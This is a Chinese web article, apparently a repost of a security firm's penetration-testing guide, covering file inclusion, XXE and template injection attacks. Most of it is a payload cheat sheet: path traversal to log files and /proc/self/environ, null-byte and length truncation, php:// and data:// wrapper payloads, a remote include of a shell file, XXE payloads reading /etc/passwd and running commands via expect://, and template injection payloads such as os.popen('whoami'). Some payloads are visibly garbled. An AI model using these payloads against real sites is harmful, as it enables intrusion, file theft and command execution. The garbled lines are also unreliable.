iis服务器助手广告广告
返回顶部
首页 > 资讯 > 精选 >渗透测试对文件包含漏洞网站检测
  • 714
分享到

渗透测试对文件包含漏洞网站检测

2023-06-03 15:06:39 714人浏览 薄情痞子
摘要

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。

渗透测试对文件包含漏洞网站检测

文件包含

1. 基础

常见的文件包含漏洞的形式为 <?PHP include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用ssh日志或者WEB日志等多种日志来源测试

2. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

2.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

2.2. 特殊字符绕过

  • 某些情况下,读文件支持使用shell通配符,如 ? * 等
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

2.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

2.4. 长度截断

windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`

linux可以用getconf来判断文件名长度限制和文件路径长度限制

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

2.5. 伪协议绕过

渗透测试对文件包含漏洞网站检测

远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[Http|https|ftp]://域名/shell.txt

  • PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input
  • : 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php
  • DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

XXE

1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(pdf、RSS等)、图片格式文件(SVG header)应用比较广泛。

2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

3. 攻击方式

3.1. 拒绝服务攻击

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">

]>

<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.2. 文件读取

<?xml version="1.0"?>

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<data>&file;</data>

3.3. SSRF

<?xml version="1.0"?>

<!DOCTYPE data SYSTEM "" [

<!ELEMENT data (#ANY)>

]>

<data>4</data>

3.4. RCE

<?xml version="1.0"?>

<!DOCTYPE GVI [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<catalog>

<core id="test101">

<deion>&xxe;</deion>

</core>

</catalog>

3.5. XInclude

<?xml version='1.0'?>

<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/file.xml"></xi:incl

10 模板注入漏洞

模版注入

1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

2. 测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

3. 测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
  • Ruby
  • <%= 7 * 7 %>
  • <%= File.open('/etc/passwd').read %>
  • Java
  • ${7*7}
  • Twig
  • {{7*7}}
  • Smarty
  • {php}echo `id`;{/php}
  • angularjs
  • $eval('1+1')
  • Tornado
  • 引用模块 {% import module %}
  • => {% import os %}{{ os.popen("whoami").read() }}
  • flask/Jinja2
  • {{ config.items() }}
  • {{''.__class__.__mro__[-1].__subclasses__()}}
  • Django
  • {{ request }}
  • {% debug %}
  • {% load module %}
  • {% include "x.html" %}
  • {% extends "x.html" %}

4. 目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏 提权

5. 相关属性

渗透测试对文件包含漏洞网站检测

5.1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

5.2. __mro__

Python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

5.3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

5.4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。

--结束END--

本文标题: 渗透测试对文件包含漏洞网站检测

本文链接: https://www.lsjlt.com/news/234892.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 渗透测试对文件包含漏洞网站检测
    昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如...
    99+
    2023-06-03
  • 网站漏洞检测 渗透测试检测手法
    由于时间比较紧,年底业务比较多在此很多朋友想要了解我们Sine安全对于渗透测试安全检测以及应急响应的具体操作实践过程,对于漏洞发生问题的根源和即时的处理解决修补网站漏洞的响应时间进行全面的了解和预防,使公司组建一个更加专业的安全部门来阻挡黑...
    99+
    2023-06-03
  • 渗透测试网站安全漏洞检测大体方法
    近期对平台安全渗透测试中遇到有JAVA+mysql架构的网站,针对此架构我们Sine安全渗透工程师整理了下具体的漏洞检测方法和防护修复方法,很多像执行框架漏洞获取到系统权限,以及跨权限写入木马后门等等操作,希望大家在渗透测试的道路中发现更多...
    99+
    2023-06-03
  • 详解PHP渗透测试文件包含漏洞与利用
    目录什么是文件包含漏洞文件包含漏洞的分类本地文件包含漏洞&利用利用条件(以PHP为例)直接访问文件利用协议读取源代码截断%00长度截断PHP的伪协议file://php://...
    99+
    2024-04-02
  • 网络安全渗透测试使用goby检测log4j漏洞
    目录一、前言二、漏洞复现三、goby poc编写expJson部分自定义POC函数部分一、前言 前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby...
    99+
    2024-04-02
  • 网站漏洞测试 文件上传漏洞的安全渗透与修复
    很多客户网站以及APP在上线运营之前都会对网站进行渗透测试,提前检测网站是否存在漏洞,以及安全隐患,避免因为网站出现漏洞而导致重大的经济损失,客户找到我们SINE安全做渗透测试服务的时候,我们都会对文件上传功能进行全面的安全测试,包括文件上...
    99+
    2023-06-03
  • 渗透测试-文件包含漏洞以及php伪协议的应用
    文件包含漏洞以及php伪协议的应用 文章目录 文件包含漏洞以及php伪协议的应用前言一、文件包含漏洞本地包含案例演示dvwa(低级)dvwa(中级)dvwa(高级) 二、php伪协议...
    99+
    2023-09-01
    安全性测试 web安全 安全
  • WEB渗透之文件包含漏洞
    1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用include指令,动态包含使用inclu...
    99+
    2023-09-12
    安全 web安全
  • 网站渗透测试漏洞分析代码架构
    近期许多网民跟我说为何出現系统漏洞的网站程序全是PHP开发设计的,而非常少有JAVA和Python的渗透案例,先不用说python,就PHP和Java谈一谈。在这以前,先何不记牢那么一个依据(眼底下也无需担心它对吗):PHP网站系统漏洞类型...
    99+
    2023-06-03
  • 网站渗透测试安全检测方案
    许多客户在网站,以及APP上线的同时,都会提前的对网站进行全面的渗透测试以及安全检测,提前检测出存在的网站漏洞,以免后期网站发展过程中出现重大的经济损失,前段时间有客户找到我们SINE安全公司做渗透测试服务,在此我们将把对客户的整个渗透测试...
    99+
    2023-06-03
  • ctf攻防渗透-文件包含-文件包含漏洞详解
    文件包含概念 程序开发人员会把重复使用的函数、变量、类等数据写到单个文件中,需要使用到里面的数据时直接调用此文件,而无需再次编写,这种文件调用的过程称为文件包含。 文件包含相关函数 require( ...
    99+
    2023-09-18
    安全 web安全
  • 510cms网站渗透测试
    信息收集 510cms企业网站系统源码,以PHP+MYSQL+smarty开发的企业网站,后台地址为admin/login.php。     使用wappalyzer检测出网站使用的中间件为Apache/2.4.7、使用的PHP版本为p...
    99+
    2023-09-07
    php 数据库 apache
  • 渗透测试之CSRF代码漏洞的检测与加固方案
    XSS跨站以及CSRF攻击,在目前的渗透测试,以及网站漏洞检测中 ,经常的被爆出有高危漏洞,我们SINE安全公司在对客户网站进行渗透测试时,也常有的发现客户网站以及APP存在以上的漏洞,其实CSRF以及XSS跨站很容易被发现以及利用,在收集...
    99+
    2023-06-03
  • APP安全测试 该如何渗透检测APP存在的漏洞
    IOS端的APP渗透测试在整个互联网上相关的安全文章较少,前几天有位客户的APP数据被篡改,导致用户被随意提现,任意的提币,转币给平台的运营造成了很大的经济损失,通过朋友介绍找到我们SINE安全公司寻求安全解决方案,防止APP继续被篡改与攻...
    99+
    2023-06-03
  • 渗透测试之路:ThinkPHP漏洞复现
    1)简介 ThinkPHP是一个免费开源的,快速的,简单的面向对象的国产轻量级PHP开发框架。 ThinkPHP遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开而诞生的,具有免费开源,快速简单及面向对象等众多的...
    99+
    2023-09-08
    算法 爬虫 php Powered by 金山文档
  • 网站安全渗透测试检测认证登录分析
    圣诞节很快就要到了,对渗透测试的热情仍然有增无减。我们SINE安全在此为用户认证登录安全制定一个全面的检测方法和要点Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 75...
    99+
    2023-06-03
  • 文件包含漏洞检测工具fimap有什么用
    小编给大家分享一下文件包含漏洞检测工具fimap有什么用,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!文件包含漏洞检测工具fimap在Web应用中,文件包含漏洞(FI)是常见的漏洞。根据包含的文件不同,它分为本地文件包含漏...
    99+
    2023-06-04
  • Springboot之Actuator的渗透测试和漏洞修复
    Actuator 的 REST 接口 Actuator监控分成两类:原生端点和用户自定义端点;自定义端点主要是指扩展性,用户可以根据自己的实际应用,定义一些比较关心的指标,在运行期进行监控。 原生端点是在应用程序里提供众多 Web 接口,通...
    99+
    2023-08-22
    spring boot java
  • 如何检测网站struts2漏洞
    检测网站struts2漏洞的方法:通过网站页面的回显错误消息来判断,页面不回显错误消息时则无效。通过网页后缀来判断,如.do .action,有可能是不准的,因为JBOSS系统也是以DO为后缀,虽然JBoss和tomcat不是一回事。判断/...
    99+
    2024-04-02
  • 如何检测网站注入漏洞
    检测网站注入漏洞的方法:可以借助第三方软件“Webpecker(网站啄木鸟)”来检测验证。下载并安装Webpecker。打开软件,在左侧点击“web安全”。输入一个网址进行检测验证。若存在sql注入漏洞,会显示在界面的中间列表中。...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作